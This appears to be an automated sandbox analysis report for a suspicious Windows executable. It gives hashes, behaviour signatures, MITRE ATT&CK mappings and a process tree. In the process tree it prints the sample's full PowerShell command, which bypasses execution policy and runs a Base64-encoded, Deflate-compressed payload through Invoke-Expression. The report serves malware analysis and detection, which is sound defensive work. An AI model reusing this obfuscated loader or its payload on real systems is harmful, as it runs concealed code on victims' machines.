5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343

Analysis

max time kernel
122s
max time network
127s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
29/12/2023, 18:09

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General

Target

00147156b464a1066d3a1c7259437f30.exe
Size

251KB
MD5

00147156b464a1066d3a1c7259437f30
SHA1

0cba0c10768990899c73006ebfa4bb5993abbe50
SHA256

5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343
SHA512

6c0c8218c5ac63628759490fa59fd3b67b9e8e6b2f429ede3a87e7cb0b3a76f3566b41455f547656a94e48e2b4e9bd8705ff5889801f635c5c1a23a9f2ffb9bd
SSDEEP

6144:4bJhs7QW69hd1MMdxPe9N9uA0hu9TBiRXDzXJ3R/gA:4bjDhu9TsRXP5ZgA

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2676	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2676	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2432 wrote to memory of 3032	2432	00147156b464a1066d3a1c7259437f30.exe	28
PID 2432 wrote to memory of 3032	2432	00147156b464a1066d3a1c7259437f30.exe	28
PID 2432 wrote to memory of 3032	2432	00147156b464a1066d3a1c7259437f30.exe	28
PID 3032 wrote to memory of 2676	3032	cmd.exe	30
PID 3032 wrote to memory of 2676	3032	cmd.exe	30
PID 3032 wrote to memory of 2676	3032	cmd.exe	30
PID 3032 wrote to memory of 2676	3032	cmd.exe	30

C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe
"C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2432
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\70FB.tmp\70FC.tmp\70FD.bat C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3032
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoLogo -ExecutionPolicyBypass -NoProfile -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9s2EP6uX0EYAiLVkiD5JehiGGicLK3RxvVqtx0mGINC0TYXmhRIyrGS+b/vaMsvcrIi6Idh1gfK5HMvvHvuTjZGXfSuZsXXjPUXmZDaqd0TyQlrNoKUsZo7QVl+xyhGSicaFrLScI76XA+1RN+o1HnCLhkT2Cn3HjyUU67RqlyLcn10Oz9t50qSRJPxHJZ0Zycv9S49dLBcvh3ZLneM9do7yx6L3jL9ffhh+lvOBVy+YdnDa5UP//gIf5z3RPtDKTBRyg2wyLm26BQ5e4g/I6iqwkVPAHE2kt9v+5/v/iJYI/+KJUqh75Q3G3+WCoV0g0G+uCPy8/STmFGcsP2J2miOjLK4V2gSTyb2YDwcy4SrBdVdL3rTets53orDSTdcRb3OHq8IFjw9Fanu7qVsLi6xsd21pwlTpDOWxZM9Evie6O6APPjlRQZEB9tdVa5OfLx3maYStNwkC8qKycUFRJtIADwIee/Fz6XHRUYAdj2TyaJ6DrHQAgtWIr6mmdspHQquBOfgjXOWqyATggVcZ4GQszMvajTdTvxN0HSyA48IT53jUJ0CvhBM6JJUMWucaDx/OoqLljlZd2yZ87HQCeuGnRshf03w3LH7PCUrRDmqZKQVBkGrOXGfDjL7tzeN9nl9Kwc6p1QqPaYL0nWOYn1tKA6bTvRLGHoRPOHmiXcHHylPTWg0dl0T+VvKGN0mWDnxV4j9eWviHGxGYRgCcrRBdEY6kdofMUIy5CsUtbc5BwdMXP5HSS89emXWd+ht2qt0fwbap/4UdzDKhCLOz9LhpNpey4hNk/nvqIB8dKDgtvO0kS8k2l/XNCJt2KGgKx75NSqUJovgeYqRE79w9kOioJckKoQZaej3i5eBJ8wZ48y1bHXgTBQGYdAIovaZh1rwc9HfSOTa5zljHWRncK/4UsrEuLWdLn0Oo4dj4tTuoKPWQMwF4AqAoHdPnOxE0SOch5ZdvEJf3KMa/FsSCVEwPguIR7MBOr3QrbeNtQIatFG46t1YD3PKCMyeR+Qz/WNhSJfxpF51tfDsx3obuPPvgb5hyUyBtoHgxEVrawokcGzajcAXCnYJapm3eh0sgHM2Nd7t1J14BBPQjCKgH0xeGEfBh4SnjLgg5UeTtWVrkAVG+CZlyF8QMwqvyZRyqqmA4sHIHyRAyNpmbNaQz+GfyhJMtoP0JufYIGFYZjBd9VzmJkFQmhcXlQ+R0LOL4BPhMz33wlUTqA9LK3StnedfYLAD9YMNH0U2InJJgfbBbSLVPGEmhSIrTARRCHnbfkJAOa2CXdhd10N7I8A8vct6+Y1iitVebau2yphKGy7r8e15KwzLlrNeW+b5Bw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2676

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\70FB.tmp\70FC.tmp\70FD.bat

Filesize
3KB

MD5
bd4b3243d8caedf16307a717354a41b5

SHA1
4c0737006c558e695d0823f935f14fdcf063e277

SHA256
03b127cbd572cea29141967489b551708d92d91f2260ae09f1d64c3f3b4b2270

SHA512
6e96dd55d203bc16f65ea91b04407b366ebc05196df8750738a989ad7b364c8bb58c949c9286994dc56e12896e1c6330dfd5c868ad11ba2dcf2345d381630f9c

Download Submit
memory/2676-4-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-5-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/2676-6-0x0000000002240000-0x0000000002280000-memory.dmp

Filesize
256KB

Download
memory/2676-7-0x0000000002240000-0x0000000002280000-memory.dmp

Filesize
256KB

Download
memory/2676-8-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download